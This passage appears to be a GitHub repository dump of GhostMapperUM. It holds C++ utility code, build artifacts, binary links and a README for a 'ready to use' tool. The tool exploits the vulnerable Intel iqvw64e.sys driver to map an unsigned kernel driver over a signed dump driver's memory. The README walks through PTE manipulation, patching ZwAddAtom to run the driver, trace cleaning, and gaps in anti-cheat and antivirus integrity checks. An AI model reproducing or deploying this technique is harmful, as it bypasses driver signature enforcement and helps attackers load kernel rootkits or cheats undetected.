module_name.c_str())) 74 | { 75 | const uint64_t result = reinterpret_cast(modules->Modules[i].ImageBase); 76 | 77 | VirtualFree(buffer, 0, MEM_RELEASE); 78 | return result; 79 | } 80 | } 81 | 82 | VirtualFree(buffer, 0, MEM_RELEASE); 83 | return 0; 84 | } 85 | 86 | BOOLEAN utils::bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { 87 | for (; *szMask; ++szMask, ++pData, ++bMask) 88 | if (*szMask == 'x' && *pData != *bMask) 89 | return 0; 90 | return (*szMask) == 0; 91 | } 92 | 93 | uintptr_t utils::FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) { 94 | size_t max_len = dwLen - strlen(szMask); 95 | for (uintptr_t i = 0; i < max_len; i++) 96 | if (bDataCompare((BYTE*)(dwAddress + i), bMask, szMask)) 97 | return (uintptr_t)(dwAddress + i); 98 | return 0; 99 | } 100 | 101 | PVOID utils::FindSection(const char* sectionName, uintptr_t modulePtr, PULONG size) { 102 | size_t namelength = strlen(sectionName); 103 | PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)(modulePtr + ((PIMAGE_DOS_HEADER)modulePtr)->e_lfanew); 104 | PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(headers); 105 | for (DWORD i = 0; i < headers->FileHeader.NumberOfSections; ++i) { 106 | PIMAGE_SECTION_HEADER section = §ions[i]; 107 | if (memcmp(section->Name, sectionName, namelength) == 0 && 108 | namelength == strlen((char*)section->Name)) { 109 | if (!section->VirtualAddress) { 110 | return 0; 111 | } 112 | if (size) { 113 | *size = section->Misc.VirtualSize; 114 | } 115 | return (PVOID)(modulePtr + section->VirtualAddress); 116 | } 117 | } 118 | return 0; 119 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/utils.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #if defined(DISABLE_OUTPUT) 4 | #define Log(content) 5 | #else 6 | #define Log(content) std::wcout << content 7 | #endif 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "nt.hpp" 19 | 20 | 21 | 22 | 23 | 24 | namespace utils 25 | { 26 | std::wstring GetFullTempPath(); 27 | bool ReadFileToMemory(const std::wstring& file_path, std::vector* out_buffer); 28 | bool CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size); 29 | uint64_t GetKernelModuleAddress(const std::string& module_name); 30 | BOOLEAN bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask); 31 | uintptr_t FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask); 32 | PVOID FindSection(const char* sectionName, uintptr_t modulePtr, PULONG size); 33 | 34 | } -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/GhostMapperUM.exe.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | C:\Users\dorge\Downloads\GhostMapperUM\GhostMapperUM\GhostMapperUM\x64\Release\GhostMapperUM.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/GhostMapperUM.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/GhostMapperUM.iobj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/GhostMapperUM.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/GhostMapperUM.ipdb -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/GhostMapperUM.log: -------------------------------------------------------------------------------- 1 |  mapper.cpp 2 | Generating code 3 | 1 of 726 functions ( 0.1%) were compiled, the rest were copied from previous compilation. 4 | 0 functions were new in current compilation 5 | 18 functions had inline decision re-evaluated but remain unchanged 6 | Finished generating code 7 | GhostMapperUM.vcxproj -> C:\Users\dorge\Downloads\GhostMapperUM\GhostMapperUM\GhostMapperUM\x64\Release\GhostMapperUM.exe 8 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/Utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/Utils.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/intel_driver.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/intel_driver.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/main.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/main.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/mapper.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/mapper.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/portable_executable.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/portable_executable.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/pte.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/pte.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/restore.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/restore.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/service.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/service.obj -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/x64/Release/vc142.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/GhostMapperUM/x64/Release/vc142.pdb -------------------------------------------------------------------------------- /GhostMapperUM/x64/Release/GhostMapperUM.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/x64/Release/GhostMapperUM.exe -------------------------------------------------------------------------------- /GhostMapperUM/x64/Release/GhostMapperUM.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/GhostMapperUM/x64/Release/GhostMapperUM.pdb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## GhostMapperUM 2 | manual map your unsigned driver over signed memory 3 | 4 | inspired by the initial research and PoC (https://github.com/Oliver-1-1/GhostMapper) made by @Oliver-1-1 :) 5 | 6 | since the original PoC intended to mainly demonstrate the concept , Oliver chose to use a driver to map another unsigned driver 7 | GhostMapperUM intends to provide a more realistic / "ready to use" version of GhostMapper , implementing it entirely from usermode 8 | 9 | generally speaking , we do that by exploiting the iqvw64e.sys vulnerable intel driver (thanks to kdmapper's utilities - https://github.com/TheCruZ/kdmapper) 10 | 11 | ## Usage 12 | set the path to your target driver in 'config.h' and compile 13 | 14 | just run GhostMapperUM.exe 15 | 16 | note your driver should not touch the DriverObject / RegistryPath entry args as we pass them as null when calling the DriverEntry 17 | 18 | ## dump drivers tl;dr 19 | You should read the detailed readme description in the original GhostMapper repo , in short : 20 | 21 | when a crash happens , crash related data needs to be saved to disk. 22 | drivers responsible to save data to disk on a crash are cloned with the prefix of 'dump_' 23 | 24 | the idea behind this is that on a crash the system is is considered to be in an unknwon state , a driver responsible to save data to disk might be the one that caused the crash... 25 | to solve that , the kernel asks the clones to step in and write the data instead 26 | 27 | that's why - by design , after initialization dump drivers are kept in a suspended state and are not in use (to minimize the chance they will be corrupted by the time of a crash) 28 | 29 | this gives us the opportuinty to leverage the signed memory range held by those 'ghost' drivers and map our own driver over it : ) 30 | 31 | ## the mapping procedure 32 | * read the specefied driver in 'config.h' from disk , that is the unsigned driver to map 33 | * Find the base address of a ghost driver (we target dump_stronvme.sys) 34 | * apply relocations to our local target driver image & fix imports 35 | * mark the entire ghost driver range as rwx by directly manipulating ptes through iqvw64e.sys's read/write primitive (saving the original ptes in a vector) 36 | * read the original ghost driver image 37 | * write our target driver over the ghost driver using a standard write primitive (no need for write to readonly...) 38 | * to avoid rwx pages we unset the 'rw' bit from executable sections pages ptes , and set the 'nx' bit for others 39 | * finally , we call the entry point of the mapped driver by patching ZwAddAtom to jump to it , and calling NtAddAtom to trigger the syscall 40 | * when your driver is done (sync this somehow...) call the RestoreOriginalDriver function to restore the original ghost driver image and ptes like we never patched it (currently , it is being called after returning from DriverEntry since the example driver we map does nothing afterwards, oviously change that according to your needs ) 41 | * cleaning of traces taken from kdmapper 42 | 43 | ## trivial detection vectors and things to consider 44 | * whilst the mapped driver is active , the ghost driver's text section on disk differs from the one in memory 45 | * whilst the mapped driver is active , section's memory protections differ between disk and memory 46 | * saying that , the image path of dump drivers is not a valid path on disk , some anti cheats (and perhaps AVs) tend to skip them during integrity checks, some arent , check it for your specific use-case 47 | 48 | --------------------------------------------------------------------------------